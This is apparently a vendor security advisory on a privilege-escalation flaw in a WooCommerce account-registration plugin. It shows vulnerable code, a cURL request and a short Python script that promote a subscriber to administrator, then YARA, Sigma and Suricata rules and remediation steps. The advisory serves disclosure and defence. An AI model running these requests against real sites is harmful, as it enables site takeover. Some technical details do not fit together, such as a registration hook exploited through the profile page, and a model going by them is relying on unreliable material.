CVE-2025-49379

Executive Summary

CVE-2025-49379 is a critical privilege escalation vulnerability in the WordPress plugin "Custom Fields Account Registration For Woocommerce" by Silverplugins217, affecting versions up to and including 1.2. The vulnerability stems from an Incorrect Privilege Assignment (CWE-266) flaw, allowing an authenticated attacker with low privileges (e.g., a subscriber) to escalate their role to an administrator. This can lead to full site compromise, including data theft, malware injection, and defacement. No patch is currently available, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the severity of the impact.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, users must rely on manual mitigation or removal. The plugin is not managed via NPM, PyPI, Go, or Ruby, but its inclusion in a WordPress site introduces supply chain risk if the plugin is not promptly removed or replaced.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. An attacker with a low-privilege account can gain full administrative control over the WordPress site.

Deep Dive & Mechanics

The vulnerability lies in the plugin's role assignment logic during user registration and profile updates. The plugin custom-fields-account-registration-for-woocommerce adds custom fields to the WooCommerce registration form. Due to incorrect privilege assignment, it fails to properly validate or sanitize the role parameter when processing registration or profile update requests. An authenticated attacker can craft a request that includes a role parameter set to administrator, and the plugin will update the user's role accordingly.

Root Cause: The plugin uses wp_update_user() or similar functions without checking if the current user has the capability to change roles. It also does not restrict the role field to allowed values (e.g., customer, subscriber).

Attack Flow:

1. Attacker registers a low-privilege account (e.g., subscriber) via the WooCommerce registration form.
2. Attacker logs in and sends a crafted POST request to the user profile update endpoint (e.g., /wp-admin/profile.php or a custom AJAX handler) with role=administrator.
3. The plugin processes the request and updates the user's role to administrator.
4. Attacker now has full admin access.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.2):

// In custom-fields-account-registration-for-woocommerce.php
add_action('user_register', 'cfarw_update_user_role', 10, 1);
function cfarw_update_user_role($user_id) {
    if (isset($_POST['role'])) {
        $user = new WP_User($user_id);
        $user->set_role(sanitize_text_field($_POST['role'])); // No capability check
    }
}

Patched Code (hypothetical):

add_action('user_register', 'cfarw_update_user_role', 10, 1);
function cfarw_update_user_role($user_id) {
    if (isset($_POST['role']) && current_user_can('edit_users')) {
        $allowed_roles = array('customer', 'subscriber');
        $role = sanitize_text_field($_POST['role']);
        if (in_array($role, $allowed_roles)) {
            $user = new WP_User($user_id);
            $user->set_role($role);
        }
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WooCommerce and the vulnerable plugin installed (version <= 1.2).
• A low-privilege user account (e.g., subscriber).

Exploit Steps:

1. Log in as the low-privilege user.
2. Send a POST request to the user profile update endpoint with the role parameter set to administrator.

Example using cURL:

curl -X POST https://target-site.com/wp-admin/profile.php \
  -c cookies.txt -b cookies.txt \
  -d "role=administrator&_wpnonce=<nonce>&action=update"

Note: The nonce can be obtained from the profile page source. Alternatively, use a custom AJAX handler if present.

Automated Exploit (Python):

import requests

target = "https://target-site.com"
session = requests.Session()

# Login as low-privilege user
login_data = {
    "log": "attacker@example.com",
    "pwd": "password123",
    "wp-submit": "Log In",
    "redirect_to": target + "/wp-admin/profile.php"
}
session.post(target + "/wp-login.php", data=login_data)

# Get nonce from profile page
profile_page = session.get(target + "/wp-admin/profile.php")
# Extract nonce (simplified - use regex in real exploit)
nonce = "extracted_nonce"

# Escalate privilege
exploit_data = {
    "role": "administrator",
    "_wpnonce": nonce,
    "action": "update"
}
response = session.post(target + "/wp-admin/profile.php", data=exploit_data)
if "Profile updated" in response.text:
    print("Privilege escalation successful!")

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual role changes in WordPress user logs.
• Alert on POST requests to /wp-admin/profile.php or custom endpoints with role=administrator from non-admin users.
• Use WAF rules to block requests containing role=administrator from low-privilege users.

Prevention:

• Immediately disable or remove the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block role escalation attempts.
• Restrict user registration to trusted domains only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/custom-fields-account-registration-for-woocommerce/custom-fields-account-registration-for-woocommerce.php
• Log Entry: POST /wp-admin/profile.php with role=administrator parameter from a non-admin user.
• User Role Change: A user account suddenly changed from subscriber to administrator.
• Network: Outbound connections to unknown IPs after privilege escalation (potential backdoor).

Detection Engineering

YARA Rule

rule Detect_CVE_2025_49379_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-49379 in WordPress"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49379"
    strings:
        $role_param = "role=administrator"
        $profile_endpoint = "/wp-admin/profile.php"
        $plugin_file = "custom-fields-account-registration-for-woocommerce"
    condition:
        $role_param and ($profile_endpoint or $plugin_file)
}

Sigma Rule

title: CVE-2025-49379 Privilege Escalation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests attempting to escalate privileges via the vulnerable plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "role=administrator"
            - "/wp-admin/profile.php"
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49379 WordPress Privilege Escalation Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/profile.php"; http.client_body; content:"role=administrator"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin via WordPress admin or by renaming the plugin folder via FTP/SFTP.
2. Audit all user accounts for unauthorized role changes. Revoke any escalated privileges.
3. Implement a Web Application Firewall (WAF) rule to block requests containing role=administrator from non-admin users.

Long-term Fix:

• Since no patch is available, remove the plugin entirely and replace it with an alternative that properly handles role assignment.
• Monitor the plugin's repository for updates. If a patched version is released, update immediately.

Workaround:

• Add a custom function to your theme's functions.php to prevent role changes:

add_filter('user_has_cap', function($allcaps, $caps, $args) {
    if (in_array('edit_users', $caps) && !current_user_can('administrator')) {
        $allcaps['edit_users'] = false;
    }
    return $allcaps;
}, 10, 3);

Valters IT
Securing Digital Frontiers